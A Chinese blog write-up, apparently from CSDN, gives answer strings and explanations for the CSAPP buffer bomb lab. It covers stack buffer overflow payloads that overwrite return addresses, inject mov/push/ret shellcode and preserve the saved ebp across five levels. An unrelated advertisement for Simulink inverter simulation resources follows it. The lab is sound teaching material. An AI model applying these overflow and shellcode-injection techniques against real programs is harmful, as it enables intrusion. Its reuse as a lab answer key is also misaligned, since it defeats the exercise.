CSAPP:缓冲区炸弹

答案

学号后六位:001036
第零关:B8 D6 DF 91 1B 68 81 11 40 00 C3 00 C8 FD 19 00 98 FD 19 00
第一关:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 11 40 00
第二关:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 12 40 00 00 00 00 00 D6 DF 91 1B
第三关:B8 D6 DF 91 1B A3 04 90 40 00 68 60 12 40 00 C3 98 FD 19 00
第四关:B8 D6 DF 91 1B A3 04 90 40 00 68 B0 12 40 00 C3 98 FD 19 00 80 15 40 00
20240320_084142.png

Overview

  • input的位置main->test->getbuf->getxs
  • 栈中间必然存在一段内容表示getbuf的返回地址,我们要做的就是输入一段较长的字符串,实现对返回地址的覆盖,这样就可以返回到我们想要的地方

第一关

  • 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 11 40 00
  • 第一关自动会call _exit,程序会自动退出,所以无需考虑维护栈结构(除第四关外都是如此)
  • 找到输出第一关成功通过的地址004011F0,将返回地址修改到此处
  • 注意小端寻址

第二关

  • 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 12 40 00 00 00 00 00 D6 DF 91 1B
  • 与第一关类似,也是需要把返回地址修改为输出第二关成功通过的地址00401210
  • 第二关比第一关多考虑了一个参数,即cookie(我学号对应的cookie是1B91DFD6)
    • 要求[esp+8]=cookie,注意到esp+8对应输入的第25-28字节,于是把这些位传入我的cookie即可
    • image.png|250

第三关

  • B8 D6 DF 91 1B A3 04 90 40 00 68 60 12 40 00 C3 98 FD 19 00
  • 首先将返回地址修改为0019FD98,即读入机器码的起始地址,这样就可以让程序执行我们输入的指令
  • 本关要求修改global_value的值为cookie
    • image.png|300
    • 所以需要跳转到修改全局变量的地址00409004,并把cookie mov进去
      • image.png|500
  • 之后需要往栈中push进输出第三关通过的地址00401260,最后用ret指令返回
  • 即答案的前16个字节为如下汇编代码的机器码,最后四个字节为机器码的起始地址
mov eax, 0x1B91DFD6
mov [0x00409004], eax
push 0x00401260
ret

第四关

  • B8 D6 DF 91 1B A3 04 90 40 00 68 B0 12 40 00 C3 98 FD 19 00 80 15 40 00
  • 这一关是在第三关的基础上完成的
  • 与其他关卡不同的一点是函数结尾不是exit,如果继续延用第三关密码,pc将ret到输入字符的21-24字节
  • 所以我们需要把ret的地址修改为函数exit的地址00401580
    • image.png
  • 即答案的前16个字节为如下汇编代码的机器码,然后四个字节为机器码的起始地址,最后四个字节为exit的地址
mov eax, 0x1B91DFD6
mov [0x00409004], eax
push 0x004012B0
ret

第零关

  • B8 D6 DF 91 1B 68 81 11 40 00 C3 00 C8 FD 19 00 98 FD 19 00
  • 交的时候才发现还有第零关
  • 注意到这里比较了[ebp+var_4]的值,要想鸟不被杀死,就必须确保getbuf结束后ebp不能被改变,仍为0019FDC8
    • image.png|450
  • 即答案的前12个字节为如下汇编代码的机器码,然后四个字节为ebp原来的值,最后四个字节为机器码的起始地址0019FD98
mov eax, 0x1B91DFD6    
push 0x00401181
ret
【博士论文复现】【阻抗建模、验证扫频法】光伏并网逆变器扫频与稳定性分析(包含锁相环电流环)(Simulink仿真实现)内容概要:本文档围绕“博士论文复现”主题,重点介绍了光伏并网逆变器的阻抗建模与扫频法稳定性分析,涵盖锁相环和电流环的Simulink仿真实现。文档旨在通过完整的仿真资源和代码帮助科研人员复现相关技术细节,提升对新能源并网系统动态特性和稳定机制的理解。此外,文档还提供了大量其他科研方向的复现资源,包括微电网优化、机器学习、路径规划、信号处理、电力系统分析等,配套MATLAB/Simulink代码与模型,服务于多领域科研需求。; 适合人群:具备一定电力电子、自动控制或新能源背景的研究生、博士生及科研人员,熟悉MATLAB/Simulink环境,有志于复现高水平论文成果并开展创新研究。; 使用场景及目标:①复现光伏并网逆变器的阻抗建模与扫频分析过程,掌握其稳定性判据与仿真方法;②借鉴提供的丰富案例资源,支撑博士论文或期刊论文的仿真实验部分;③结合团队提供的算法与模型,快速搭建实验平台,提升科研效率。; 阅读建议:建议按文档目录顺序浏览,优先下载并运行配套仿真文件,结合理论学习与代码调试加深理解;重点关注锁相环与电流环的建模细节,同时可拓展学习其他复现案例以拓宽研究视野。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值